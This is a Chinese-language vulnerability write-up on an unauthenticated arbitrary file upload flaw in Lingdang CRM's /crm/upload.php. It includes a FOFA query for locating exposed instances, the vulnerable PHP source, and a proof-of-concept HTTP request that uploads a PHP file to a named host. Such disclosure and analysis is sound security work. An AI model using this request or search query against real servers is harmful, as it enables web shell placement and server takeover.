漏洞简介
灵当CRM是一款专为中小企业打造的智能客户关系管理工具,由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域,帮助企业实现客户个性化管理需求,提升企业竞争力。无论是新客户开拓、老客户维护,还是销售过程管理、服务管理等方面,灵当CRM都能提供全面、高效的解决方案。灵当CRM /crm/upload.php 接口存在任意文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端写入后门,任执行意代码,获取服务器权限,进而控制整个 web 服务器。
影响版本
fofa语法
body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")
漏洞分析
直接看 /crm/upload.php 业务逻辑实现
<?php
/*********************************************************************************
* diony
* 上传录音文件
* 2014-10-21
********************************************************************************/
$http_host=$_SERVER['HTTP_HOST'];
if(strpos($http_host,"http://")!==false&&strpos($http_host,"http://")<=5)
{
$http_host=substr($http_host,strlen("http://"));
}
if(strpos($http_host,"https://")!==false&&strpos($http_host,"https://")<=5)
{
$http_host=substr($http_host,strlen("https://"));
}
if(strpos($http_host,"www.")!==false&&strpos($http_host,"www.")<=5)
{
$http_host=substr($http_host,strlen("www."));
}
$http_host=trim($http_host);
require_once('includefile.php');
//include('include/database/PearDatabase.php');
//include('include/DatabaseUtil.php');
//header("Content-type: text/html; charset=utf-8");
global $adb;
require_once("Register/RegOp.php");
$Time = date("Ymd");
$regop=RegOp::getInstance();
//$callcenter_interface=$regop->GetcallcenterInterfaceStatus();
if(!file_exists('recordData'))
{
mkdir('recordData',0777);
}
if(!file_exists('recordData/'.$Time))
{
mkdir('recordData/'.$Time,0777);
}
if(is_array($_FILES))
{
$key= key($_FILES);
$original_name=$_FILES[$key]["name"];
FileFileterString($original_name);
if($_FILES[$key]['error'] != UPLOAD_ERR_OK)
{
echo "上传失败!";
exit();
}
else
{
if(stripos($_SERVER['HTTP_HOST'],'xiaoshou360.com/XS/penghua')!==false)
{
move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name");
}
else if(stripos($_SERVER['HTTP_HOST'],'xiaoshou360.com/chongwen')!==false)
{
move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name");
}
else if(strtolower($http_host)=='kehu001.com'||strtolower($http_host)=='51mis.com.cn'||strtolower($http_host)=='xiaoshou360.com')
{
//51mis.com.cn/gandan 电话管家上传录音导致服务器卡死
}
else
move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name");
include(globalStatic::$root_directory.'modules/Accounts/SaveCallButler.php');
echo '上传成功!';
}
}
exit();
?>
根据 $_FILES 数组获取上传文件,将其保存到指定目录中,无任何过滤处理,导致任意文件上传漏洞。
而上传目录 根据一下代码可知
$Time = date("Ymd");
if (!file_exists('recordData/' . $Time)) {
mkdir('recordData/' . $Time, 0777);
}
move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name");
最终上传后的文件路径为 /crm/recordData/20241017/test.php 这种格式
漏洞复现
POST /crm/upload.php HTTP/1.1
Host: 51mis.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/x-php
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundaryABC123--
访问文件 /crm/recordData/20241017/test.php


